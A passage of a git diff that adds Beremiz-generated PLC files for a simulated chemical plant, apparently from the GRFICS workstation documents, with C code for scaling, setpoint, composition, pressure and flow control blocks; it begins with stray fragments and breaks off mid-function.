+ + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + 